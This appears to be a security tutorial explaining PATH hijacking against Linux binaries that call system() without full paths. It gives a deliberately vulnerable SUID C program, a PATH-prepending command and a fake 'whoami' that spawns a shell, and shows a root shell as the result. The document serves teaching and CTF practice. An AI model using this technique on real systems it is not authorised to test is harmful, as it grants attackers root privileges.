The system() function is quite common to see in custom binaries on linux systems, occuring frequently in CTF challenges. From a programming perspective its a quick and easy way to execute other programs, it takes a single string as an argument and uses /bin/sh to execute it. However, it is beset by a range of security issues, especially when used in a binary that runs with elevated privileges, the man pages for system() go so far as to suggest that you avoid it completely, and use the exec() family of functions in these cases.
Subverting the PATH
Because system invokes /bin/sh -c to execute commands, it uses whatever environment variables are configured for the user who executes the program, the most notable of these is the PATH environment variable.
If the programmer forgets to specify the full path for a binary, /bin/sh will check each of the locations on the PATH, in order until it finds an executable with the correct name, as soon as it finds one, it executes it with the permissions of the owner of the calling program. You can see how this could be used for privilege escalation, something under the control of one user results in something happening with another users permissions.
Lets look at a contrived example program:
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv) { printf("Hello \n"); system("whoami"); return(0); }
user@kali:~$ gcc greet.c -o greet user@kali:~$ ./greet Hello user
With a PATH environment variable set to
/usr/local/bin:/usr/bin:/bin
The greet program will attempt to execute /usr/local/bin/whoami, if that fails it will try /usr/bin/whoami, and if that fails, it will try to execute /bin/whoami. Whoami can normally be found in /usr/bin/, so if you could write to /usr/local/bin/whoami you could hijack the call and run your own code. Now its unlikely that you’re going to be able to write here, but there’s a good chance that you can modify the PATH variable, adding a folder where you can write to the front of it, before any of the others.
user@kali:~$ export PATH=/home/user:$PATH
Now, when I execute ./greet, the program will attempt to execute whatever is at /home/user/whoami first. Seeing as I can write to this location, I’m going to provide my own program (and I’m going to do it properly, with execl()).
#include <unistd.h> #include <stdio.h> int main(int argc, char *argv) { printf("Please enjoy this complimentary shell:\n"); setuid(geteuid()); setgid(getegid()); execl("/bin/sh", "sh", NULL); return(0); }
Quick test in the /home/user directory
user@kali:~$ gcc malicious.c -o whoami user@kali:~$ ./whoami Please enjoy this complimentary shell: $ exit
Bringing it all together
user@kali:~$ ./greet Hello Please enjoy this complimentary shell: $ id uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
So far so good, but it’s not really gained us much, except for the ability to control the ouput of the program. Where this technique really comes into its own is when the vulnerable binary is SUID root
user@kali:~$ sudo chown root:root ./greet && sudo chmod +s ./greet
Now, when we execute it we get a shell running not as our own low priv user, but as root
user@kali:~$ ./greet Hello Please enjoy this complimentary shell: # id uid=0(root) gid=0(root) groups=0(root),27(sudo),1000(user)